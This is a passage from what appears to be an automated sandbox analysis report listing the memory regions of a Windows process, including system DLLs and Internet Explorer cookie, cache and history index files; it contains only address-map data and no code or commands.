"c:\\windows\\syswow64\\sspicli.dll") Region: id = 4359 start_va = 0x752e0000 end_va = 0x7543bfff entry_point = 0x7532ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4360 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75450569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4361 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757fb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4362 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75974975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4363 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ac6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4364 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d1a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4365 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dd32d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4366 start_va = 0x76f10000 end_va = 0x76f66fff entry_point = 0x76f29ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4367 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4368 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77137478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4369 start_va = 0x77180000 end_va = 0x7721cfff entry_point = 0x771b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4370 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x772949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4371 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 4372 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 4373 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4374 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4375 start_va = 0x910000 end_va = 0xa97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 4376 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4377 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4378 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4379 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4380 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0xc0000 region_type = mapped_file name = "msiexec.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\msiexec.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msiexec.exe.mui") Region: id = 4381 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4382 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 4383 start_va = 0xaa0000 end_va = 0xc20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 4384 start_va = 0xc30000 end_va = 0x202ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c30000" filename = "" Region: id = 4385 start_va = 0x75fe0000 end_va = 0x76c29fff entry_point = 0x76061601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 4386 start_va = 0x76dd0000 end_va = 0x76e04fff entry_point = 0x76dd145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4387 start_va = 0x75cd0000 end_va = 0x75cd5fff entry_point = 0x75cd1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4388 start_va = 0x2030000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 4389 start_va = 0x75990000 end_va = 0x75aacfff entry_point = 0x7599158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 4390 start_va = 0x776f0000 end_va = 0x776fbfff entry_point = 0x776f238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 4391 start_va = 0x76e10000 end_va = 0x76f04fff entry_point = 0x76e11865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 4392 start_va = 0x76ff0000 end_va = 0x77125fff entry_point = 0x76ff1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 4393 start_va = 0x75ed0000 end_va = 0x75f5efff entry_point = 0x75ed3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4394 start_va = 0x75530000 end_va = 0x7572afff entry_point = 0x755322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 4395 start_va = 0x74c60000 end_va = 0x74ca3fff entry_point = 0x74c763f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 4396 start_va = 0x2110000 end_va = 0x21effff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 4515 start_va = 0x420000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 4516 start_va = 0x580000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 4517 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4518 start_va = 0x21f0000 end_va = 0x24befff entry_point = 0x21f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4527 start_va = 0x640000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 4528 start_va = 0x780000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 4529 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4530 start_va = 0x24c0000 end_va = 0x318cfff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 4608 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 4609 start_va = 0x460000 end_va = 0x4e8fff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4610 start_va = 0x4f0000 end_va = 0x57afff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 4611 start_va = 0x3190000 end_va = 0x3e5cfff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 4612 start_va = 0x3e60000 end_va = 0x4080fff entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 4613 start_va = 0x4090000 end_va = 0x4371fff entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 4614 start_va = 0x4380000 end_va = 0x49fcfff entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 4635 start_va = 0x74a80000 end_va = 0x74a95fff entry_point = 0x74a82dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4636 start_va = 0x460000 end_va = 0x49bfff entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4637 start_va = 0x460000 end_va = 0x49bfff entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4638 start_va = 0x460000 end_va = 0x49bfff entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4639 start_va = 0x460000 end_va = 0x49bfff entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4640 start_va = 0x460000 end_va = 0x49bfff entry_point = 0x46128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4641 start_va = 0x74a40000 end_va = 0x74a7afff entry_point = 0x74a4128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4642 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4643 start_va = 0x4a0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 4644 start_va = 0x520000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 4645 start_va = 0x680000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 4646 start_va = 0x2040000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 4647 start_va = 0x20d0000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 4648 start_va = 0x2120000 end_va = 0x215ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 4649 start_va = 0x2170000 end_va = 0x21affff entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 4650 start_va = 0x21b0000 end_va = 0x21effff entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 4651 start_va = 0x24c0000 end_va = 0x24fffff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 4652 start_va = 0x2540000 end_va = 0x257ffff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 4653 start_va = 0x2580000 end_va = 0x25bffff entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 4654 start_va = 0x25c0000 end_va = 0x25fffff entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 4655 start_va = 0x2620000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 4656 start_va = 0x74b70000 end_va = 0x74babfff entry_point = 0x74b7145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 4657 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 4658 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 4659 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 4660 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 4661 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4662 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4663 start_va = 0x2660000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 4664 start_va = 0x74b50000 end_va = 0x74b54fff entry_point = 0x74b515df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 4665 start_va = 0x749d0000 end_va = 0x749e0fff entry_point = 0x749d1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4666 start_va = 0x749c0000 end_va = 0x749c8fff entry_point = 0x749c15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4667 start_va = 0x749a0000 end_va = 0x749b8fff entry_point = 0x749a1319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4668 start_va = 0x74990000 end_va = 0x7499efff entry_point = 0x749912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4669 start_va = 0x2660000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 4670 start_va = 0x27b0000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Region: id = 4671 start_va = 0x28d0000 end_va = 0x290ffff entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 4672 start_va = 0x2950000 end_va = 0x298ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 4673 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 4674 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 4675 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4676 start_va = 0x2da0000 end_va = 0x31affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002da0000" filename = "" Region: id = 4677 start_va = 0x400000 end_va = 0x414fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 4678 start_va = 0x3f0000 end_va = 0x404fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 4679 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4680 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4681 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4682 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4683 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4684 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4685 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4686 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4687 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4688 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4689 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4690 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4691 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4692 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4693 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4694 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4695 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4696 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4727 start_va = 0x3f0000 end_va = 0x3f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 4728 start_va = 0x74cb0000 end_va = 0x74e4dfff entry_point = 0x74cde6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 4729 start_va = 0x400000 end_va = 0x400fff entry_point = 0x400000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 4730 start_va = 0x410000 end_va = 0x411fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 4731 start_va = 0x751e0000 end_va = 0x751eafff entry_point = 0x751e1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 4732 start_va = 0x4e0000 end_va = 0x4f3fff entry_point = 0x4e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 4733 start_va = 0x400000 end_va = 0x407fff entry_point = 0x400000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 4734 start_va = 0x500000 end_va = 0x50ffff entry_point = 0x500000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 4735 start_va = 0x75230000 end_va = 0x7524bfff entry_point = 0x7523a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 4736 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x7522128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 4737 start_va = 0x74c00000 end_va = 0x74c51fff entry_point = 0x74c014be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 4738 start_va = 0x75190000 end_va = 0x751a4fff entry_point = 0x751912de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 4739 start_va = 0x75180000 end_va = 0x7518cfff entry_point = 0x75181326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 4740 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 4741 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4742 start_va = 0x75170000 end_va = 0x75175fff entry_point = 0x7517125a region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 4743 start_va = 0x74bf0000 end_va = 0x74bfffff entry_point = 0x74bf38c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 4744 start_va = 0x2da0000 end_va = 0x2e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002da0000" filename = "" Region: id = 4745 start_va = 0x2ea0000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ea0000" filename = "" Region: id = 4746 start_va = 0x27f0000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 4747 start_va = 0x74b40000 end_va = 0x74b45fff entry_point = 0x74b41673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 4748 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4749 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4750 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4751 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4752 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4753 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4754 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4755 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4767 start_va = 0x2770000 end_va = 0x27affff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 4768 start_va = 0x2da0000 end_va = 0x2ddffff entry_point = 0x0 region_type = private name = "private_0x0000000002da0000" filename = "" Region: id = 4769 start_va = 0x2e90000 end_va = 0x2e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e90000" filename = "" Region: id = 4770 start_va = 0x7ef98000 end_va = 0x7ef9afff entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 4771 start_va = 0x2e00000 end_va = 0x2e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 4772 start_va = 0x2e40000 end_va = 0x2e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 4773 start_va = 0x7ef95000 end_va = 0x7ef97fff entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 4774 start_va = 0x74be0000 end_va = 0x74be5fff entry_point = 0x74be14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 4775 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4776 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4777 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4778 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4779 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4780 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4781 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4782 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4783 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4784 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4785 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4786 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4787 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4788 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4789 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4790 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4791 start_va = 0x2990000 